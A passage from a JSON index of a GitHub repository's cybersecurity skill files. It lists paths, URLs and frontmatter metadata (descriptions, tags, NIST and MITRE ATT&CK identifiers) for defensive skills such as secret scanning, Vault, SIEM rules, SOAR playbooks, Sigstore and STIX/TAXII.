-->","isInternal":false,"tokens":879,"sizeBytes":5114},{"name":"SKILL.md","path":"skills/implementing-secret-scanning-with-gitleaks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secret-scanning-with-gitleaks/SKILL.md","title":"implementing-secret-scanning-with-gitleaks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2FSKILL.md -->","frontmatter":{"name":"implementing-secret-scanning-with-gitleaks","description":"This skill covers implementing Gitleaks for detecting and preventing hardcoded secrets in git repositories. It addresses configuring pre-commit hooks, CI/CD pipeline integration, custom rule authoring for organization-specific secrets, baseline management for existing repositories, and remediation workflows for exposed credentials.\n","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","secret-scanning","gitleaks","pre-commit","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1003","T1110"]},"isInternal":false,"tokens":2864,"sizeBytes":11337},{"name":"api-reference.md","path":"skills/implementing-secrets-management-with-vault/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secrets-management-with-vault/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-management-with-vault%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1128,"sizeBytes":4193},{"name":"SKILL.md","path":"skills/implementing-secrets-management-with-vault/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secrets-management-with-vault/SKILL.md","title":"implementing-secrets-management-with-vault","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-management-with-vault%2FSKILL.md -->","frontmatter":{"name":"implementing-secrets-management-with-vault","description":"Deploy HashiCorp Vault for centralized secrets management, covering dynamic secret generation for databases and cloud providers, transit encryption, PKI certificate management, and Kubernetes integration. Use when eliminating hardcoded credentials from application code or CI/CD pipelines, migrating to short-lived auto-rotated secrets, or giving Kubernetes workloads secure access to database or cloud provider credentials.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["hashicorp-vault","secrets-management","dynamic-secrets","credential-rotation","zero-trust"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1003"]},"isInternal":false,"tokens":2910,"sizeBytes":12619},{"name":"api-reference.md","path":"skills/implementing-secrets-scanning-in-ci-cd/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secrets-scanning-in-ci-cd/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-scanning-in-ci-cd%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":862,"sizeBytes":3034},{"name":"SKILL.md","path":"skills/implementing-secrets-scanning-in-ci-cd/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-secrets-scanning-in-ci-cd/SKILL.md","title":"implementing-secrets-scanning-in-ci-cd","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-scanning-in-ci-cd%2FSKILL.md -->","frontmatter":{"name":"implementing-secrets-scanning-in-ci-cd","description":"Integrate gitleaks and trufflehog into CI/CD pipelines to detect leaked secrets before deployment","domain":"cybersecurity","subdomain":"devsecops","tags":["secrets-scanning","gitleaks","trufflehog","ci-cd"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004"]},"isInternal":false,"tokens":884,"sizeBytes":3822},{"name":"api-reference.md","path":"skills/implementing-security-chaos-engineering/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-security-chaos-engineering/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-chaos-engineering%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":394,"sizeBytes":1479},{"name":"SKILL.md","path":"skills/implementing-security-chaos-engineering/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-security-chaos-engineering/SKILL.md","title":"implementing-security-chaos-engineering","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-chaos-engineering%2FSKILL.md -->","frontmatter":{"name":"implementing-security-chaos-engineering","description":"Implements security chaos engineering experiments that deliberately disable or degrade security controls to verify detection and response capabilities. Tests WAF bypass, firewall rule removal, log pipeline disruption, and EDR disablement scenarios using boto3 and subprocess. Use when validating SOC detection coverage and resilience.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["security-chaos-engineering","detection-validation","resilience-testing","control-validation","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1027","T1070"]},"isInternal":false,"tokens":631,"sizeBytes":2599},{"name":"api-reference.md","path":"skills/implementing-security-information-sharing-with-stix2/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-security-information-sharing-with-stix2/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-information-sharing-with-stix2%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":574,"sizeBytes":2070},{"name":"SKILL.md","path":"skills/implementing-security-information-sharing-with-stix2/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-security-information-sharing-with-stix2/SKILL.md","title":"implementing-security-information-sharing-with-stix2","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-information-sharing-with-stix2%2FSKILL.md -->","frontmatter":{"name":"implementing-security-information-sharing-with-stix2","description":"Create, validate, and share STIX 2.1 threat intelligence objects (indicators, malware, campaigns, relationships, bundles) using the stix2 Python library, and publish them over TAXII 2.1. Use when building or exchanging structured threat intelligence, modeling relationships between threat objects, or publishing/consuming a TAXII 2.1 feed.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["stix","taxii","threat-sharing","intelligence-exchange"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1027"]},"isInternal":false,"tokens":3283,"sizeBytes":13107},{"name":"api-reference.md","path":"skills/implementing-security-monitoring-with-datadog/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-security-monitoring-with-datadog/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-monitoring-with-datadog%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":842,"sizeBytes":3473},{"name":"SKILL.md","path":"skills/implementing-security-monitoring-with-datadog/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-security-monitoring-with-datadog/SKILL.md","title":"implementing-security-monitoring-with-datadog","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-monitoring-with-datadog%2FSKILL.md -->","frontmatter":{"name":"implementing-security-monitoring-with-datadog","description":"Implements security monitoring using Datadog Cloud SIEM, Cloud Security Management (CSM), and Workload Protection to detect threats, enforce compliance, and respond to security events across cloud and hybrid infrastructure. Covers Agent deployment, log source ingestion, detection rule creation, security dashboards, and automated notification workflows. Activates for requests involving Datadog security setup, Cloud SIEM configuration, CSM threat detection, or security monitoring dashboards.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["siem","security-monitoring","datadog","cloud-security","log-analysis","detection-rules","CSM","workload-protection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1","GOVERN-4.2","MAP-2.3"],"d3fend_techniques":["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"],"nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1685.002","T1685.005"]},"isInternal":false,"tokens":3535,"sizeBytes":14666},{"name":"api-reference.md","path":"skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1342,"sizeBytes":5264},{"name":"standards.md","path":"skills/implementing-semgrep-for-custom-sast-rules/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-semgrep-for-custom-sast-rules/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":300,"sizeBytes":1162},{"name":"SKILL.md","path":"skills/implementing-semgrep-for-custom-sast-rules/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-semgrep-for-custom-sast-rules/SKILL.md","title":"implementing-semgrep-for-custom-sast-rules","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2FSKILL.md -->","frontmatter":{"name":"implementing-semgrep-for-custom-sast-rules","description":"Write custom Semgrep SAST rules in YAML to detect application-specific vulnerabilities, enforce coding standards, and integrate into CI/CD pipelines.","domain":"cybersecurity","subdomain":"devsecops","tags":["semgrep","sast","static-analysis","custom-rules","devsecops","code-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004"]},"isInternal":false,"tokens":1941,"sizeBytes":7666},{"name":"api-reference.md","path":"skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-correlation-rules-for-apt%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":472,"sizeBytes":1716},{"name":"SKILL.md","path":"skills/implementing-siem-correlation-rules-for-apt/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-siem-correlation-rules-for-apt/SKILL.md","title":"implementing-siem-correlation-rules-for-apt","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-correlation-rules-for-apt%2FSKILL.md -->","frontmatter":{"name":"implementing-siem-correlation-rules-for-apt","description":"Write multi-event correlation rules in Splunk SPL and Sigma format that detect APT lateral movement by chaining Windows authentication events (4624, 4648), process execution (4688, Sysmon Event 1), and network connections (Sysmon Event 3) across hosts within sliding time windows. Use when building SIEM correlation searches to surface multi-stage attack sequences that single-event detections miss, such as pass-the-hash or lateral movement chains.","domain":"cybersecurity","subdomain":"security-operations","tags":["siem","correlation-rules","apt-detection","lateral-movement","windows-event-logs","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1021","T1550"]},"isInternal":false,"tokens":774,"sizeBytes":3134},{"name":"api-reference.md","path":"skills/implementing-siem-use-case-tuning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-siem-use-case-tuning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-case-tuning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":601,"sizeBytes":2170},{"name":"SKILL.md","path":"skills/implementing-siem-use-case-tuning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-siem-use-case-tuning/SKILL.md","title":"implementing-siem-use-case-tuning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-case-tuning%2FSKILL.md -->","frontmatter":{"name":"implementing-siem-use-case-tuning","description":"Tune SIEM detection rules in Splunk and Elastic to reduce false positives by analyzing alert volumes, creating context-aware exclusion lists, adjusting thresholds against environmental baselines, and measuring precision/recall efficacy metrics. Use when a SOC is drowning in noisy alerts and needs to tune correlation searches or detection rules, or when measuring and reporting alert-to-incident conversion rates.","domain":"cybersecurity","subdomain":"security-operations","tags":["siem","detection-engineering","false-positive-reduction","splunk","elastic","alert-tuning","soc"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1685.002","T1685.005"]},"isInternal":false,"tokens":559,"sizeBytes":2627},{"name":"api-reference.md","path":"skills/implementing-siem-use-cases-for-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-siem-use-cases-for-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-cases-for-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":551,"sizeBytes":2138},{"name":"SKILL.md","path":"skills/implementing-siem-use-cases-for-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-siem-use-cases-for-detection/SKILL.md","title":"implementing-siem-use-cases-for-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-cases-for-detection%2FSKILL.md -->","frontmatter":{"name":"implementing-siem-use-cases-for-detection","description":"Implements SIEM detection use cases by designing correlation rules, threshold alerts, and behavioral analytics mapped to MITRE ATT&CK techniques across Splunk, Elastic, and Sentinel. Use when SOC teams need to expand detection coverage, formalize use case lifecycle management, or build a detection library aligned to organizational threat profile.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","siem","use-cases","detection-engineering","mitre-attack","splunk","elastic","sentinel"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["Token Binding","Restore Access","Password Authentication","Reissue Credential","Strong Password Policy"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566","T0816"]},"isInternal":false,"tokens":2954,"sizeBytes":11415},{"name":"api-reference.md","path":"skills/implementing-sigstore-for-software-signing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-sigstore-for-software-signing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-sigstore-for-software-signing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1241,"sizeBytes":5257},{"name":"SKILL.md","path":"skills/implementing-sigstore-for-software-signing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-sigstore-for-software-signing/SKILL.md","title":"implementing-sigstore-for-software-signing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-sigstore-for-software-signing%2FSKILL.md -->","frontmatter":{"name":"implementing-sigstore-for-software-signing","description":"Implements Sigstore-based software signing and verification using Cosign keyless signing, Rekor transparency log verification, and Fulcio certificate authority integration to establish cryptographic provenance for container images, binaries, and software artifacts, including OIDC-based identity binding and CI/CD pipeline integration. Use when setting up keyless container/artifact signing, verifying signatures against the Rekor transparency log, or deploying Sigstore in a supply-chain security workflow.\n","domain":"cybersecurity","subdomain":"supply-chain-security","tags":["sigstore","cosign","rekor","fulcio","software-signing","supply-chain","keyless-signing","OIDC","transparency-log"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["GV.SC-01","GV.SC-03","GV.SC-06","GV.SC-07"],"mitre_attack":["T1078","T1190","T1059","T1610","T1611"],"mitre_f3":{"version":"1.1","tactics":["resource-development","initial-access","stealth"],"techniques":[{"id":"T1195","name":"Supply Chain Compromise","tactic":"initial-access","source":"attack"},{"id":"T1608","name":"Stage Capabilities","tactic":"resource-development","source":"attack"},{"id":"T1608.006","name":"Stage Capabilities: SEO Poisoning","tactic":"resource-development","source":"attack"},{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"T1070","name":"Indicator Removal","tactic":"stealth","source":"attack"}]}},"isInternal":false,"tokens":2935,"sizeBytes":12933},{"name":"api-reference.md","path":"skills/implementing-soar-automation-with-phantom/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-automation-with-phantom/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-automation-with-phantom%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":634,"sizeBytes":2620},{"name":"SKILL.md","path":"skills/implementing-soar-automation-with-phantom/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-automation-with-phantom/SKILL.md","title":"implementing-soar-automation-with-phantom","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-automation-with-phantom%2FSKILL.md -->","frontmatter":{"name":"implementing-soar-automation-with-phantom","description":"Implements Security Orchestration, Automation, and Response (SOAR) workflows using Splunk SOAR (formerly Phantom) to automate alert triage, IOC enrichment, containment actions, and incident response playbooks. Use when SOC teams need to reduce manual analyst work, standardize response procedures, or integrate multiple security tools into automated workflows.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","soar","phantom","splunk-soar","automation","playbook","orchestration","incident-response"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"]},"isInternal":false,"tokens":3313,"sizeBytes":14657},{"name":"api-reference.md","path":"skills/implementing-soar-playbook-for-phishing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-playbook-for-phishing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-for-phishing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":755,"sizeBytes":2586},{"name":"SKILL.md","path":"skills/implementing-soar-playbook-for-phishing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-playbook-for-phishing/SKILL.md","title":"implementing-soar-playbook-for-phishing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-for-phishing%2FSKILL.md -->","frontmatter":{"name":"implementing-soar-playbook-for-phishing","description":"Automates phishing incident response by calling the Splunk SOAR (Phantom) REST API to create containers, attach artifacts (emails, URLs, attachments), and trigger response playbooks. Use when building or wiring up a Splunk SOAR phishing playbook, ingesting a suspected phishing report into SOAR, or automating containment and triage for phishing incidents.","domain":"cybersecurity","subdomain":"security-operations","tags":["soar","splunk-phantom","phishing","incident-response"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1566","T1598"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access","stealth"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1176,"sizeBytes":4899},{"name":"template.md","path":"skills/implementing-soar-playbook-with-palo-alto-xsoar/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-playbook-with-palo-alto-xsoar/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":358,"sizeBytes":1408},{"name":"api-reference.md","path":"skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1179,"sizeBytes":4203},{"name":"standards.md","path":"skills/implementing-soar-playbook-with-palo-alto-xsoar/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":406,"sizeBytes":1761},{"name":"workflows.md","path":"skills/implementing-soar-playbook-with-palo-alto-xsoar/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":516,"sizeBytes":2043},{"name":"SKILL.md","path":"skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md","title":"implementing-soar-playbook-with-palo-alto-xsoar","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2FSKILL.md -->","frontmatter":{"name":"implementing-soar-playbook-with-palo-alto-xsoar","description":"Build automated incident response playbooks in Cortex XSOAR (Demisto) using its YAML playbook structure, integration commands, and task types to orchestrate phishing, malware, account-compromise, and DDoS response workflows across SOC tools. Use when authoring or wiring up an XSOAR playbook, adding custom XSOAR integration commands or Python automation scripts, or reducing manual SOC response time via orchestration.","domain":"cybersecurity","subdomain":"soc-operations","tags":["xsoar","soar","palo-alto","playbook","automation","incident-response","orchestration","cortex"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"]},"isInternal":false,"tokens":2541,"sizeBytes":9624},{"name":"template.md","path":"skills/implementing-stix-taxii-feed-integration/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-stix-taxii-feed-integration/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":317,"sizeBytes":1236},{"name":"api-reference.md","path":"skills/implementing-stix-taxii-feed-integration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-stix-taxii-feed-integration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1367,"sizeBytes":4813},{"name":"standards.md","path":"skills/implementing-stix-taxii-feed-integration/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-stix-taxii-feed-integration/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":804,"sizeBytes":2876},{"name":"workflows.md","path":"skills/implementing-stix-taxii-feed-integration/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-stix-taxii-feed-integration/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":518,"sizeBytes":2905},{"name":"SKILL.md","path":"skills/implementing-stix-taxii-feed-integration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-stix-taxii-feed-integration/SKILL.md","title":"implementing-stix-taxii-feed-integration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2FSKILL.md -->","frontmatter":{"name":"implementing-stix-taxii-feed-integration","description":"Implements a STIX 2.1/TAXII 2.1 threat-intelligence feed consumer and producer in Python, covering TAXII server discovery, collection polling, parsing STIX bundles with the stix2 library, and standing up a local TAXII server with Medallion. Use when integrating a STIX/TAXII CTI feed into a SIEM or TIP, writing a 